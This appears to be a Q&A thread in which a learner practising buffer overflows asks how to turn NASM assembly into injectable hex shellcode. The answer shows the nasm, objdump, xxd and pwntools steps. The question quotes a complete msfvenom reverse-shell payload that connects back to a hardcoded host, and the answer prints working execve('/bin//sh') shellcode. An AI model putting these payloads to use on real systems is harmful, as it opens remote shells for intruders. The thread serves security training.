assemblyx86hexbuffer-overflowshellcode

how do i convert my assembly code to executable hex code?


the thing is I'm training on the buffer overflow bug, and I got to the point where I just inject something into the memory, but the problem is that I have a very small space in the ESP to work with so I've made a simple "hello world" in assembly:

The Assembly code (simple hello world)

global _start
;;;;;64bit only
_start:
    jmp short string

code:
    pop rsi
    xor rax, rax
    mov al, 1
    mov rdi, rax
    mov rdx, rdi
    add rdx, 14
    syscall

    xor rax, rax
    add rax, 60
    xor rdi, rdi
    syscall

string:
    call code
    db  'Hello, world!',0x0A

this was written in Nasm

I first found this when generating a msfvenom payload, there is an option to specify the language of the shellcode(i specified C) then it generates the hex executable code which you can just inject into memory and simply run it.

The Hex Code (executable hex code for a reverse shell)

unsigned char buf[] = \xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x66\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5;

but when I tried to do that myself I found that I have to write the program in assembly then convert it to the hex executable code, which I was looking for a way to do it for a week but nothing.

What I've tried

I tried to convert the assembly instructions one by one then add the arguments (also converted to hex) which didn't work obviously.

-----

that assembly code seems to work with : ./nasm.exe -fwin64 shellcode.asm but not with : ./nasm.exe -fwin32 shellcode.asm

I think it's not compatible with 32bit.

and also when i execute: ./nasm.exe -felf64 shellcode.asm -o shellcode.o then : ld -s -o shellcode shellcode.o it sais unrecognized format of the file shellcode.o


Solution

  • I have learned this in the software security course. Since that was over a year ago, it is a little bit hard for me to remember all the details. I will focus on the main points.

    Let's write simple assembly code first.

    GLOBAL _start
    _start:
        xor rdx, rdx                ;use xor edx,edx to save 1 byte
        push rdx
        mov rax, 0x68732f2f6e69622f ;The result of '/bin//sh' in reverse byte order
        push rax                    ;push '/bin//sh' into stack
        mov rdi, rsp                ;Get the address of '/bin//sh' from rsp and put it into rdi
        push rdx 
        push rdi
        mov rsi, rsp
        xor rax, rax
        mov al, 0x3b
        syscall
    

    Also note that you can write mov rax, '/bin//sh' since you're using NASM.


    Use nasm to compile and run the shellcode to make sure it works as a stand-alone executable. Use strace to verify that the system-call args are what you intended, or to debug if it doesn't work.

    nasm -f elf64 shellcode.asm -o shellcode.o
    ld shellcode.o -o shellcode               
    ./shellcode
    strace ./shellcode   # trace the system calls it makes
    

    Use objdump to get the hex output. You can use compiler explorer as well.

    objdump -d shellcode
    

    You can get shellcode directly by filtering irrelevant output by using instructions below. But this is buggy and loses a byte of machine code in long instructions that line-wrap. Don't use this version in general.

    objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    

    This is the output.

    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
    

    According to comments, Linux commands listed below also works after adding bits 64 to the assembly code.

    nasm -f bin shellcode.asm -o shellcode
    xxd -ps shellcode |  sed 's/../\\x\0/g'
    

    Or as shown in Pointer to string in stand-alone binary code without .data section, if shellcode is an ELF executable (or a .o), you can extract the .text section with objcopy and use hexdump on the .bin

    objcopy -j.text -O binary shellcode shellcode.bin
    hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
    

    Besides, if you are a CTF tyro, you can use pwntools. It is much more convenient.

    from pwn import *
    context(arch = 'amd64', os = 'linux',log_level = 'debug')
    shellcode=asm(shellcraft.amd64.linux.sh())
    print(shellcode)
    

    You can also use cobaltstrike and msfvenom.